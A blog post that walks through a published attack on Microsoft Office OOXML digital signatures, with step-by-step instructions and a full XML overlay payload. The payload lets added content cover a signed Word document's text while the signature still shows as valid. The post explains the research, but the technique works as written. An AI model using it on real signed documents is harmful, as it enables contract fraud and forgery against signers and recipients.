Covertly Tampering Digitally Signed Documents

Posted on Aug 8, 2023

This post is a quick walkthrough of an attack identified by Simon Rohlmann, Vladislav Mladenov, Christian Mainka, Daniel Hirschberger, and Jörg Schwenk of Ruhr University Bochum in their brilliant paper “Every Signature is Broken: On the Insecurity of Microsoft Office’s OOXML Signatures”.

They analysed 6000+ pages of the Office Open XML File Formats standard and tested Microsoft Office products for their (in)correct implementation of digital signatures.

The upshot is that, at the time of writing, if you open a Microsoft Office document with a ‘valid’ digital signature, you can absolutely not trust that signature.

We’ll step through an example attack and see why it’s possible.

Digital signatures

First, we should define digital signatures. Here, we’re not talking about images of squiggly lines (i.e. digital images of a person’s handwritten signature), but a cryptographic stamp involving digital certificates and hashes of the document’s content.

Digital signatures ensure:

  • Authenticity: you’re really the one who signed it. We know this because the certificate authority vouches for your identity, and you’re the only one with the private key that corresponds to the signature.
  • Integrity: the document hasn’t been changed since you signed it. We know this because the document’s content hashes are part of the signature. If even one bit of the document is changed after signing, it yields a different hash and the signature’s checksum will fail - invalidating the signature.
  • Non-Repudiation: if the signature is valid, you can’t deny having signed it due to the previous two points.

Given that, it’d be fairly disastrous if you signed something - say a contract - only to find later that it’s totally changed, but your signature still appears valid… right? That’s exactly what the researchers found was possible in Microsoft’s implementation of digital signatures. They enumerated a tonne of inventive attacks - we’ll walk through just one.

The Attack

The element we’ll attack here is Integrity. We’ll create and sign a document, then add arbitrary content as an attacker, re-open the file and find the signature is still valid.

Pre-requisites & Setup

You just need a Windows machine to follow along. If anything doesn’t work for you, try checking the researchers' github repo for updates or issues.

I ran through this in Word 2019 on Windows 10. To install the same Office version, first install the Office Deployment Tool. Then download this config file and run the deployment tool in cmd.exe with the config file as an argument:

setup.exe /configure config-file.xml

Also install WinRar or your preferred archiving tool and you’ll be good to go.

Attack Steps

  1. Fire up Word, create a blank document and create a document to sign:

The document originally features a nice chunky sum of $1,000,000.

  1. Sign it by going to Insert > Signature Line > Microsoft Office Signature Line. You can leave the default values. Click OK.

  1. On the resulting signature line, right click and select ‘Sign’. You’ll get a prompt to save the document as a .docx file - do so in a location of your choice.

  2. In the prompt, optionally write a name, choose your signing certificate etc. and click ‘Sign’:

  1. You get a popup which, as we’ll soon see, is talking absolute nonsense:

This is a bare-faced lie. Click ‘OK’ with an eye-roll and optional tut/head-shake combo.

  1. Close the doc and open up WinRar. Like many other file formats, .docx is just a .zip in disguise, so we can extract its contents. Do so to a location of your choice. You should see a folder structure like this:

  1. Now we’ll modify the signed doc with the ‘attacker’ content. Go into the word/ folder and create a file called people.xml. This file will create a text box with a white background that will cover the original content, effectively replacing it with attacker-controlled text. Populate the file with the following:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w15:people xmlns:wpc="" xmlns:cx="" xmlns:cx1="" xmlns:cx2="" xmlns:cx3="" xmlns:cx4="" xmlns:cx5="" xmlns:cx6="" xmlns:cx7="" xmlns:cx8="" xmlns:mc="" xmlns:aink="" xmlns:am3d="" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="" xmlns:m="" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="" xmlns:wp="" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="" xmlns:w14="" xmlns:w15="" xmlns:w16cid="" xmlns:w16se="" xmlns:wpg="" xmlns:wpi="" xmlns:wne="" xmlns:wps="" mc:Ignorable="w14 w15 w16se w16cid wp14"><w15:person w15:author="Attacker"><w15:presenceInfo w15:providerId="None" w15:userId="Attacker"/></w15:person><w:body><w:p w14:paraId="57AFAE25" w14:textId="48D09B19" w:rsidR="007F5E25" w:rsidRPr="00EA7164" w:rsidRDefault="00F66D29"><w:pPr><w:rPr><w:lang w:val="en-US"/></w:rPr></w:pPr><w:r><w:rPr><w:noProof/></w:rPr><mc:AlternateContent><mc:Choice Requires="wps"><w:drawing><wp:anchor distT="45720" distB="45720" distL="114300" distR="114300" simplePos="0" relativeHeight="251659264" behindDoc="0" locked="0" layoutInCell="1" allowOverlap="1" wp14:anchorId="59C4E845" wp14:editId="7094F46A"><wp:simplePos x="0" y="0"/><wp:positionH relativeFrom="margin"><wp:align>left</wp:align></wp:positionH><wp:positionV relativeFrom="margin"><wp:align>top</wp:align></wp:positionV><wp:extent cx="6276975" cy="8143875"/><wp:effectExtent l="0" t="0" r="9525" b="9525"/><wp:wrapNone/><wp:docPr id="217" name="Text Box 2"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a=""/></wp:cNvGraphicFramePr><a:graphic xmlns:a=""><a:graphicData uri=""><wps:wsp><wps:cNvSpPr txBox="1"><a:spLocks noChangeArrowheads="1"/></wps:cNvSpPr><wps:spPr bwMode="auto"><a:xfrm><a:off x="0" y="0"/><a:ext cx="6276975" cy="8143875"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:solidFill><a:schemeClr val="bg1"/></a:solidFill><a:ln w="9525"><a:noFill/><a:miter lim="800000"/><a:headEnd/><a:tailEnd/></a:ln></wps:spPr><wps:txbx><w:txbxContent><w:p w14:paraId="4A9E8B5E" w14:textId="77777777" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:r><w:t>CHANGEME</w:t></w:r></w:p><w:p w14:paraId="3F5577E7" w14:textId="4CE5C231" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:r><w:t>CHANGEME</w:t></w:r></w:p><w:bookmarkEnd w:id="0"/><w:p w14:paraId="34715DEA" w14:textId="6AB2060A" w:rsidR="00F66D29" w:rsidRDefault="00F66D29"/></w:txbxContent></wps:txbx><wps:bodyPr rot="0" vert="horz" wrap="square" lIns="91440" tIns="45720" rIns="91440" bIns="45720" anchor="t" anchorCtr="0"><a:noAutofit/></wps:bodyPr></wps:wsp></a:graphicData></a:graphic><wp14:sizeRelH relativeFrom="margin"><wp14:pctWidth>0</wp14:pctWidth></wp14:sizeRelH><wp14:sizeRelV relativeFrom="margin"><wp14:pctHeight>0</wp14:pctHeight></wp14:sizeRelV></wp:anchor></w:drawing></mc:Choice><mc:Fallback><w:pict><v:shapetype w14:anchorId="59C4E845" id="_x0000_t202" coordsize="21600,21600" o:spt="202" path="m,l,21600r21600,l21600,xe"><v:stroke joinstyle="miter"/><v:path gradientshapeok="t" o:connecttype="rect"/></v:shapetype><v:shape id="Text Box 2" o:spid="_x0000_s1026" type="#_x0000_t202" style="position:absolute;margin-left:0;margin-top:0;width:494.25pt;height:641.25pt;z-index:251659264;visibility:visible;mso-wrap-style:square;mso-width-percent:0;mso-height-percent:0;mso-wrap-distance-left:9pt;mso-wrap-distance-top:3.6pt;mso-wrap-distance-right:9pt;mso-wrap-distance-bottom:3.6pt;mso-position-horizontal:left;mso-position-horizontal-relative:margin;mso-position-vertical:top;mso-position-vertical-relative:margin;mso-width-percent:0;mso-height-percent:0;mso-width-relative:margin;mso-height-relative:margin;v-text-anchor:top" o:gfxdata="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&#xA;UEsFBgAAAAAEAAQA8wAAAIIFAAAAAA==&#xA;" fillcolor="white [3212]" stroked="f"><v:textbox><w:txbxContent><w:p w14:paraId="4A9E8B5E" w14:textId="77777777" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:bookmarkStart w:id="1" w:name="_GoBack"/><w:r><w:t>This document has been manipulated by the attacker.</w:t></w:r></w:p><w:p w14:paraId="3F5577E7" w14:textId="4CE5C231" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:r><w:t>The content is chosen by the attacker.</w:t></w:r></w:p><w:bookmarkEnd w:id="1"/><w:p w14:paraId="34715DEA" w14:textId="6AB2060A" w:rsidR="00F66D29" w:rsidRDefault="00F66D29"/></w:txbxContent></v:textbox><w10:wrap anchorx="margin" anchory="margin"/></v:shape></w:pict></mc:Fallback></mc:AlternateContent></w:r></w:p><w:sectPr w:rsidR="007F5E25" w:rsidRPr="00EA7164" w:rsidSect="00D138D8"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w15:people>

Find and replace CHANGEME with any text you like.

  1. Next, we need to link the file we just created in two other places. First, open [Content_Types].xml and add the following tag:
<Override PartName="/word/people.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.people+xml"/>

You can add it just before the final closing </Types> tag of the file. The file was only partially signed during the signing flow, so we can add content without invalidating the signature.

  1. Next, open /word/_rels/document.xml.rels. Look for the Relationship IDs - they look like Id="rId6" and are numbered sequentially. Find the highest number. Insert the following tag, giving it an ID one greater than the highest existing ID. In my case, it was 7:
<Relationship Id="rId7" Type="" Target="people.xml"/>

You can add it just before the final closing </Relationships> tag of the file. Again, this file was only partially signed, leaving an attacker free to add to it.

  1. Ensure the three files are saved, and re-zip the whole lot up into a new .docx file.

  1. Open the resulting file. You’ll see the attacker-chosen content and Word will tell you the signature is v a l i d

The modified file has a much less chunky amount of $1 and no indication whatsoever that it was tampered after signing.

How on earth is this possible?

When you sign a document in Microsoft Office, the existing content is signed and hashes are correctly checked.

For example, in the walkthrough, we could have tried opening /word/document.xml and directly tampering the original text: <w:t>I hereby promise to send the amount of $1,000,000.</w:t>. However, this would have caused a checksum failure and the signature would have been invalidated.

But during the attack, we didn’t tamper any existing content, we added it. Office checks the integrity of existing content, but doesn’t verify the addition of new content.

The people.xml file is a legitimate file that Office uses to implement features like comments etc. In the attack, we added it and used it to create a text box that overlayed the existing content. As it wasn’t present during the signing flow, it didn’t figure in the signature verification process when the document was re-opened.

Similarly, the document.xml.rels and [Content_Types].xml files were only partially signed during the signing flow, so as long as no existing values were changed, we could add to them without invalidating the signature.

Therefore, as long as we only add content, leaving the existing signed (or partially-signed) content untouched, we can do so without invalidating the signature.


This particular attack exploits a vulnerability in the OOXML standard itself - its support of partial signatures. Full signing of all files would preclude the attack.

The paper also outlines many other attack classes such as ‘Universal Signature Forgery’, that allows an attacker to take a third party’s signature and validly insert it into any document. This comes from an Office-specific implementation fault.

According to the paper, Microsoft has been made aware of the flaws, but has no immediate plans for remediation. Until then, we’ll just have to take Office signatures with a grain of salt.

Thanks for reading, as always feel free to connect or get in touch!